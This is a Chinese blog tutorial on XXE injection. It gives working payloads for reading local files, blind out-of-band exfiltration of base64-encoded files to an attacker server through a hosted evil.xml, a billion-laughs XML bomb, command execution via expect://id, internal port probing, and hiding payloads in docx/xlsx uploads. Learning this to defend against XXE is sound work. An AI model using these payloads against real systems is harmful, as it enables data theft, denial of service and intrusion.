XXE漏洞的简单用法

XXE漏洞

简单来说,XXE就是XML外部实体注入。当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。

外部实体

XML中对数据的引用称为实体,实体中有一类叫外部实体,用来引入外部资源,有SYSTEM和PUBLIC两个关键字,表示实体来自本地计算机还是公共计算机,外部实体的引用可以利用如下协议

c22.png

声明

<!ENTITY 实体名称 SYSTEM "URI/URL">

引用

一个实体的引用,由三部分构成:&符号, 实体名称, 分号。

参数实体

声明

内部:<!ENTITY % 实体名称 "实体值">

外部:<!ENTITY % 实体名称 SYSTEM "URI"

注意

(1)使用 % 实体名(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 “%实体名;” 引用
(2)只有在 DTD 文件中,参数实体的声明才能引用其他实体
(3)和通用实体一样,参数实体也可以外部引用

读取任意文件

有回显读取

利用file协议

抓包发现响应包内容为username
c23.png
构造payload

<?xml version="1.0"?>
<!DOCTYPE hack [
<!ENTITY test SYSTEM  "file:///c:/windows/win.ini">
]>
<user><username>&test;</username><password>123456</password></user>

c26.png

但是如果读取的文件里有<或者&时就会爆错,所以可以用php://flter协议
c24.png

无回显读取

可以通过Blind XXE方法加上外带数据通道来提取数据,先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器来读取数据。

比如自己服务器地址为192.168.59.132

则构造payload

<?xml version="1.0"?>
<!DOCTYPE test[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=D:/PHPstudys/PHPTutorial/WWW/php_xxe/doLogin.php">
<!ENTITY % dtd SYSTEM "http://192.168.59.132/evil.xml">
%dtd;
%send;
]>

然后在服务器的web目录放一个evil.xml文件

内容如下

<!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://192.168.59.132/?content=%file;'>"> %payload;

随后监控apache日志就会获得读取的内容

DOS攻击(Denial of service:拒绝服务)

XML炸弹

<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

当解析该文件时,由于递归引用,会使其展开后占用大量内存,但是目前服务器硬件大多能抵御此类攻击

命令执行

在php环境下,xml命令执行需要php装有expect扩展,但该扩展默认没有安装,但是测试时候可以尝试下

payload

<?xml version="1.0"?>
<!DOCTYPE root [ <!ELEMENT  ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<root>&xxe;</root>

内网探测

和SSRF一样,利用http协议探测端口

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE user SYSTEM "http://192.168.1.223:999">
<user><username>&all;</username><password>132123</password></user>

利用docx&xlsx

在docx或xlsx上传处,往往会有XXE

方法:

用7z打开文件,把里面的XML文件拖出来

然后插入payload

然后复原,上传

参考

https://mature-sec.com/post/xxe%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/

https://xz.aliyun.com/t/6754#toc-15

  • 版权声明: 本博客所有文章除特别声明外,均采用 Apache License 2.0 许可协议。转载请注明出处!
  • © 2020 丰年de博客

请我喝杯咖啡吧~

支付宝
微信